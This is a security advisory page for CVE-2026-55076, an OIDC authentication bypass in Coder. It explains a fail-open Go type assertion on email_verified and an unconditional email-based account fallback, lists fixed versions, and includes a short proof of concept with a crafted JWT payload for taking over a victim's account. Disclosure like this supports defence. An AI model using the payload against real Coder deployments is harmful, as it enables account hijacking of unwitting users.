CVE-2026-55076: Coder OIDC email_verified Type Coercion Authentication Bypass
A flaw in Coder's OIDC login lets an attacker register a victim's email address at any compatible identity provider without verifying it, then sign in and inherit the victim's existing Coder account a
The problem
Coder's OIDC callback extracted the `email_verified` claim using a direct Go bool type assertion: `verified, ok := claims["email_verified"].(bool)`. When an IdP returned the claim as a non-boolean (for example the JSON string `"false"`) or omitted it entirely, `ok` was `false` and the code fell through, treating the email as verified.
A second flaw made the account-takeover reliable: the email-based account lookup that runs when no matching OIDC subject is found was unconditional. If any existing Coder user shared the incoming email, that user's account was linked and a session issued, regardless of whether the user already had a different IdP subject bound to it.
No prior Coder credentials were needed.
Proof of concept
A working proof-of-concept for CVE-2026-55076 in github.com/coder/coder/v2, with the exact payload below.
# Attacker controls an IdP that Coder trusts (or registers at a shared IdP).
# Step 1: Register victim@corp.com at the IdP. Do NOT verify the email.
# Step 2: Craft/observe the OIDC ID token the IdP issues.
# The key: email_verified is a JSON string, not a boolean.
# Decoded JWT payload sent by the attacker-controlled / permissive IdP:
{
"iss": "https://attacker-idp.example.com",
"sub": "attacker-unique-subject-id",
"aud": "coder-client-id",
"email": "victim@corp.com",
"email_verified": "false",
"exp": 9999999999
}
# Go type assertion in the vulnerable code:
# verified, ok := claims["email_verified"].(bool)
# // ok == false because the value is a string, not a bool
# // code falls through and treats email as verified
# Step 3: POST to Coder's OIDC callback with this token.
# Result: Coder finds victim@corp.com in its user table via email fallback,
# links the attacker's subject to that account, and issues a session.The root cause (CWE-704, Incorrect Type Conversion) is the hard `.(bool)` assertion: in Go, a failed type assertion returns the zero value and `ok = false`, not an error, so the surrounding logic never saw a rejection path when the type was wrong. Any non-bool representation of `email_verified` (string `"false"`, string `"true"`, integer `0`, or missing claim) silently bypassed verification.
The secondary flaw (CWE-287, Improper Authentication) is the unconditional email fallback: the code linked an inbound token to any existing user with a matching email, even users that already had a different IdP subject, enabling cross-subject account hijacking with zero prior access.
PR #25713 replaced the type assertion with a multi-type coercion switch that fails closed on unknown types or missing claims. PR #25712 added a subject-conflict check to the email fallback, rejecting the login when the matched user already has a different linked IdP subject.
The fix
Upgrade to Coder v2.34.2 (or v2.33.8, v2.32.7, v2.29.17 for older release lines). No configuration workaround exists for the email fallback issue. As a partial mitigation for the type-coercion issue only, ensure your IdP returns `email_verified` as a native JSON boolean.
Reported by Anthropic Security Team (ANT-2026-22444).
Related research
- high · 7.4CVE-2026-55075CVE-2026-55075: Coder OIDC Account Takeover via Email Fallback and email_verified Bypass
- high · 7.7CVE-2026-55431CVE-2026-55431: Coder CLI Session Token Exfiltration via External App URLs
- high · 8.2CVE-2026-55428CVE-2026-55428: Coder Tailnet Coordinator Route Hijacking via Unvalidated AllowedIPs
- high · 7.5CVE-2026-46597CVE-2026-46597: golang.org/x/crypto/ssh AES-GCM Packet Decoder Integer Underflow DoS